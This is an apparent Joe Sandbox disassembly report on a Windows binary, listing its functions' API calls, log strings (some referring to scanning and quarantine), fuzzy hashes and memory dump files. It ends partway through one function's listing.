Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$AddressProc$EnterLeave$LibraryLoad
String ID: vseqrt.dll$vseqrtAdd$vseqrtInit$vseqrtRelease
API String ID: 3682727354-300733478
Opcode ID: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction ID: 5756194132ff8dd7ec1522ad033bffa79c37130547d86cec9d6c1639cfe77c95
Opcode Fuzzy Hash: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction Fuzzy Hash: 8C710175220B4186EB52DF26F894BC533A4F78CBE4F441226EA598B3B4DF3AC945C740

Function 00000001400033E0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 126memorytimeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140003406
SetWaitableTimer.KERNEL32 ref: 0000000140003432
#4.VSELOG ref: 000000014000346A
GetProcessHeap.KERNEL32 ref: 000000014000351C
HeapReAlloc.KERNEL32 ref: 0000000140003531
GetProcessHeap.KERNEL32 ref: 0000000140003539
HeapAlloc.KERNEL32 ref: 0000000140003547
#4.VSELOG ref: 00000001400035DD
LeaveCriticalSection.KERNEL32 ref: 00000001400035E9
LeaveCriticalSection.KERNEL32 ref: 00000001400035FA

Strings

amps_Init: iFlags=%d, pid=%d, sid=%d, xrefs: 0000000140003452
amps_Init: done, pHandle=%p, xrefs: 00000001400035CC

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$AllocLeaveProcess$EnterTimerWaitable
String ID: amps_Init: done, pHandle=%p$amps_Init: iFlags=%d, pid=%d, sid=%d
API String ID: 2587151837-1427723692
Opcode ID: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction ID: a7c4065e0455d4df5ce4727384a6dec66c16779501c9bb3b2af2b379a082be6c
Opcode Fuzzy Hash: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction Fuzzy Hash: 9F5114B5225B4082FB13CB27F8847D963A5F78CBD0F445525BB4A4B7B8DB7AC4448700

Function 0000000140004D10 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000140004D43
GetProcAddress.KERNEL32 ref: 0000000140004D62
GetFileAttributesW.KERNEL32 ref: 0000000140004DE9
LoadLibraryW.KERNEL32 ref: 0000000140004DF7
GetCurrentDirectoryW.KERNEL32 ref: 0000000140004E1C
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E27
LoadLibraryW.KERNEL32 ref: 0000000140004E30
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E41

Strings

SetDllDirectoryW, xrefs: 0000000140004D58
kernel32.dll, xrefs: 0000000140004D3C

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CurrentDirectory$LibraryLoad$AddressAttributesFileHandleModuleProc
String ID: SetDllDirectoryW$kernel32.dll
API String ID: 3184163350-3826188083
Opcode ID: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction ID: 3ea874f08b0d6ae9fbaedd0e680489d05007b391355801732f4c7fbd06edc96d
Opcode Fuzzy Hash: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction Fuzzy Hash: FD41F6B1218A8582EB22DF12F8547DA73A5F79D7D4F400125EB8A0BAB5DF7EC548CB40

Function 0000000140004BA0 Relevance: 18.1, APIs: 9, Strings: 3, Instructions: 80memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140004BE7
GetProcessHeap.KERNEL32 ref: 0000000140004BF6
HeapAlloc.KERNEL32 ref: 0000000140004C04
lstrlenW.KERNEL32 ref: 0000000140004C3E
GetProcessHeap.KERNEL32 ref: 0000000140004C4D
HeapAlloc.KERNEL32 ref: 0000000140004C5B
lstrlenW.KERNEL32 ref: 0000000140004C8E
GetProcessHeap.KERNEL32 ref: 0000000140004C9D
HeapAlloc.KERNEL32 ref: 0000000140004CAB

Strings

ncalrpc, xrefs: 0000000140004BAF, 0000000140004C17
Security=impersonation static true, xrefs: 0000000140004C80, 0000000140004CBE
ampIfEp, xrefs: 0000000140004C29, 0000000140004C6E

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3424473247-996641649
Opcode ID: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction ID: 5475aedf582102907cd33adbfaf34f9b11ebc9e91273ce6565e0ea0cfbbdf015
Opcode Fuzzy Hash: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction Fuzzy Hash: FE3137B062A74082FB03CB53BD447E962A5E75DBD8F554019EB0E0BBB6DBBEC1558700

Function 000000014000A740 Relevance: 16.9, APIs: 11, Instructions: 354COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000A7AA
GetLastError.KERNEL32 ref: 000000014000A7BA
MultiByteToWideChar.KERNEL32 ref: 000000014000A874
MultiByteToWideChar.KERNEL32 ref: 000000014000A921
LCMapStringW.KERNEL32 ref: 000000014000A944
LCMapStringW.KERNEL32 ref: 000000014000A98D
LCMapStringW.KERNEL32 ref: 000000014000AA24
WideCharToMultiByte.KERNEL32 ref: 000000014000AA65
LCMapStringA.KERNEL32 ref: 000000014000AB13
LCMapStringA.KERNEL32 ref: 000000014000ABC6
LCMapStringA.KERNEL32 ref: 000000014000AC4C

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction ID: 7820e0e177e3580e7fbac086e7e180635334a87404cd07a7d6eea56579f34d7e
Opcode Fuzzy Hash: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction Fuzzy Hash: 7CE18BB27007808AEB66DF26A54079977E1F74EBE8F144225FB6957BE8DB38C941C700

Function 0000000140009C30 Relevance: 16.6, APIs: 11, Instructions: 150COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C52
GetLastError.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C6C
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C91
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CD4
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CF2
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D09
MultiByteToWideChar.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D37
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D73
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009E19

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharErrorLastMultiWide
String ID:
API String ID: 1232609184-0
Opcode ID: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction ID: a97fb2b29f1dbdd40f84dfefdd532c69b8fe37edd6617e3b903b273dff31e607
Opcode Fuzzy Hash: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction Fuzzy Hash: 9851AEB164564046FB66DF23B8147AA66D0BB4DFE0F484625FF6A87BF1EB78C4448300

Function 0000000140002740 Relevance: 16.6, APIs: 10, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001B48
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001BE6

EnterCriticalSection.KERNEL32 ref: 00000001400027B2
LeaveCriticalSection.KERNEL32 ref: 000000014000286E
GetProcessHeap.KERNEL32 ref: 000000014000287F
HeapFree.KERNEL32 ref: 000000014000288D
GetProcessHeap.KERNEL32 ref: 000000014000289D
HeapFree.KERNEL32 ref: 00000001400028AB
GetProcessHeap.KERNEL32 ref: 00000001400028BB
HeapFree.KERNEL32 ref: 00000001400028C9
GetProcessHeap.KERNEL32 ref: 00000001400028D9
HeapFree.KERNEL32 ref: 00000001400028E7

Strings

H, xrefs: 000000014000278C

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$EnterFreeProcess$Leave
String ID: H
API String ID: 2107338056-2852464175
Opcode ID: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction ID: c1f1c0cc251b461ea163c40135a27997c94af954a8846501eddf5ed74a01cb36
Opcode Fuzzy Hash: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction Fuzzy Hash: D5513B76216B4086EBA2DF63B84439A73E5F74DBD0F098128EB9D87765EF39C4558300

Function 0000000140003200 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100timeCOMMON

Download Yara Rule

APIs

#4.VSELOG ref: 0000000140003242
EnterCriticalSection.KERNEL32 ref: 0000000140003257
LeaveCriticalSection.KERNEL32 ref: 00000001400032D9
#4.VSELOG ref: 0000000140003353

Part of subcall function 0000000140002B40: LoadLibraryW.KERNEL32 ref: 0000000140002B91
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BAD
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BC8
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BE3
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

#4.VSELOG ref: 0000000140003389
SetWaitableTimer.KERNEL32 ref: 00000001400033BE

Strings

fnCallback: hScan=%d, putting event %d into listening threads queues, xrefs: 0000000140003372
fnCallback: hScan=%d, evId=%d, context=%p, xrefs: 000000014000323B
fnCallback: hScan=%d, quarantine, result %d, xrefs: 000000014000333F

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$AddressEnterLeaveProc$LibraryLoadTimerWaitable
String ID: fnCallback: hScan=%d, evId=%d, context=%p$fnCallback: hScan=%d, putting event %d into listening threads queues$fnCallback: hScan=%d, quarantine, result %d
API String ID: 1322048431-2685357988
Opcode ID: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction ID: ba1df9fb3c509f4e652456910b8147ac8aac6905a945631cefe2604201aedb7e
Opcode Fuzzy Hash: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction Fuzzy Hash: 645106B5214B4181EB13CF16F880BD923A4E79DBE4F445622BB594B6B4DF3AC584C740

Function 0000000140003D50 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003D84
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003DA3
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E19
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E25
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E66
SetWaitableTimer.KERNEL32 ref: 0000000140003EA6

Strings

doCleanup: pid %d, marking the cAmpEntry pointer for deletion, xrefs: 0000000140003E58
doCleanup: enter, cAmpEntry %p, xrefs: 0000000140003D76
doCleanup: pid %d, removing cAmpEntry, index is %d, xrefs: 0000000140003E08

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: doCleanup: enter, cAmpEntry %p$doCleanup: pid %d, marking the cAmpEntry pointer for deletion$doCleanup: pid %d, removing cAmpEntry, index is %d
API String ID: 2984211723-3002863673
Opcode ID: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction ID: 6ce834a9fa2c46ab9e722fc1bcf1c858386cde021ca473021475461b430fce50
Opcode Fuzzy Hash: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction Fuzzy Hash: 9B4101B5214A8591EB128F07F880B9863A4F78CBE4F495226FB1D0BBB4DB7AC591C710

Function 00000001400021A0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 00000001400021D4
OpenProcess.KERNEL32 ref: 00000001400021F7
#4.VSELOG ref: 000000014000223A
WaitForMultipleObjects.KERNEL32 ref: 000000014000224F
CloseHandle.KERNEL32 ref: 000000014000225A
#4.VSELOG ref: 0000000140002294

Strings

doMonitor: monitoring process id=%d, xrefs: 000000014000222C
doMonitor: end process id=%d, result from WaitForMultipleObjects=%d, xrefs: 0000000140002283
fnMonitor: monitor thread for ctx %p, xrefs: 00000001400021C6

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CloseHandleMultipleObjectsOpenProcessWait
String ID: doMonitor: end process id=%d, result from WaitForMultipleObjects=%d$doMonitor: monitoring process id=%d$fnMonitor: monitor thread for ctx %p
API String ID: 678758403-4129911376
Opcode ID: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction ID: f397f01a700ed75a1720fb106c04e764a2ecaef09c032a262f7e58a7780e1373
Opcode Fuzzy Hash: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction Fuzzy Hash: B63107B6610A4582EB12DF57F84079963A4E78CBE4F498122FB1C0B7B4DF3AC585C710

Function 0000000140001750 Relevance: 15.1, APIs: 12, Instructions: 133memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140001797
GetProcessHeap.KERNEL32 ref: 00000001400017A6
HeapAlloc.KERNEL32 ref: 00000001400017B4
lstrlenW.KERNEL32 ref: 00000001400017EC
GetProcessHeap.KERNEL32 ref: 00000001400017FB
HeapAlloc.KERNEL32 ref: 0000000140001809
lstrlenW.KERNEL32 ref: 000000014000183F
GetProcessHeap.KERNEL32 ref: 000000014000184E
HeapAlloc.KERNEL32 ref: 000000014000185C
lstrlenW.KERNEL32 ref: 000000014000188D
GetProcessHeap.KERNEL32 ref: 000000014000189C
HeapAlloc.KERNEL32 ref: 00000001400018AA

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID:
API String ID: 3424473247-0
Opcode ID: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction ID: a11592c0991bfac199573d0d609f53e0c1426f0a5ad78f28403dae96cf8670eb
Opcode Fuzzy Hash: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction Fuzzy Hash: C8513AB6701640CAE666DFA3B84479A67E0F74DFC8F588428AF4E4B721DA38D155A700

Function 0000000140012C70 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 415COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000140011270: RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

__GetUnwindTryBlock.LIBCMT ref: 0000000140012CDD
__SetUnwindTryBlock.LIBCMT ref: 0000000140012D05
__GetUnwindTryBlock.LIBCMT ref: 0000000140012D15
_SetThrowImageBase.LIBCMT ref: 0000000140012DA6

Strings

csm, xrefs: 0000000140012DC1
csm, xrefs: 0000000140012D2F
csm, xrefs: 0000000140012E97
bad exception, xrefs: 0000000140012E4A

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: BlockUnwind$BaseEntryFunctionImageLookupThrow
String ID: bad exception$csm$csm$csm
API String ID: 3766904988-820278400
Opcode ID: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction ID: ec44bdd804db6766ea80e989845e9f4c5c79a3e5de674617e5e8a62493c248da
Opcode Fuzzy Hash: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction Fuzzy Hash: 2202C17220478086EB66DB27A4447EEB7A5F78DBC4F484425FF894BBAADB39C550C700

Function 0000000140004750 Relevance: 13.6, APIs: 9, Instructions: 80sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140004A0F
LeaveCriticalSection.KERNEL32 ref: 0000000140004A1D
WaitForMultipleObjects.KERNEL32 ref: 0000000140004A44
Sleep.KERNEL32 ref: 0000000140004A75
EnterCriticalSection.KERNEL32 ref: 0000000140004A7F
SetEvent.KERNEL32 ref: 0000000140004AC5
ResetEvent.KERNEL32 ref: 0000000140004ACF
LeaveCriticalSection.KERNEL32 ref: 0000000140004AD9
WaitForMultipleObjects.KERNEL32 ref: 0000000140004B0D

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterEventLeaveMultipleObjectsWait$ResetSleep
String ID:
API String ID: 2707001247-0
Opcode ID: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction ID: f9d573460b216e7eeefce72b36cf093424a31f8579033a03516ac6dab9ef0102
Opcode Fuzzy Hash: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction Fuzzy Hash: BC3159B6304A4492EB22DF22F44479AB360F749BE4F444121EB9E07AB4DF39D489C708

Function 00007FFBC3204804 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFBC3204861

Part of subcall function 00007FFBC3206BC4: __GetUnwindTryBlock.LIBCMT ref: 00007FFBC3206C07
Part of subcall function 00007FFBC3206BC4: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFBC3206C2C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFBC3204939
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFBC3204B87
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFBC3204C94

Strings

csm, xrefs: 00007FFBC320487B
csm, xrefs: 00007FFBC320495C
csm, xrefs: 00007FFBC32048E2

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction ID: 1356d442e3e1cbd580c23c4486f58e76ae064cc2ac78e26c56f4437b5130832d
Opcode Fuzzy Hash: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction Fuzzy Hash: 31D171B29087458AEF10AF75D4807AE77A0FB55788F984135DA8D6BB55CF38E489CB00

Function 0000000140001690 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014000169E
HeapFree.KERNEL32 ref: 00000001400016B0
GetProcessHeap.KERNEL32 ref: 00000001400016C0
HeapFree.KERNEL32 ref: 00000001400016D2
GetProcessHeap.KERNEL32 ref: 00000001400016E2
HeapFree.KERNEL32 ref: 00000001400016F4
GetProcessHeap.KERNEL32 ref: 0000000140001704
HeapFree.KERNEL32 ref: 0000000140001716
GetProcessHeap.KERNEL32 ref: 0000000140001726
HeapFree.KERNEL32 ref: 0000000140001738

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction ID: 4159c8d252e8bf7a629169213e0784b10943506046d671ff930a732f0a48acbb
Opcode Fuzzy Hash: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction Fuzzy Hash: EC1145B4915A4081F70BDF97B8187D522E2FB8DBD9F484025E70A4B2B0DF7E8499C601

Function 0000000140013710 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014001371E
HeapFree.KERNEL32 ref: 0000000140013730
GetProcessHeap.KERNEL32 ref: 0000000140013740
HeapFree.KERNEL32 ref: 0000000140013752
GetProcessHeap.KERNEL32 ref: 0000000140013762
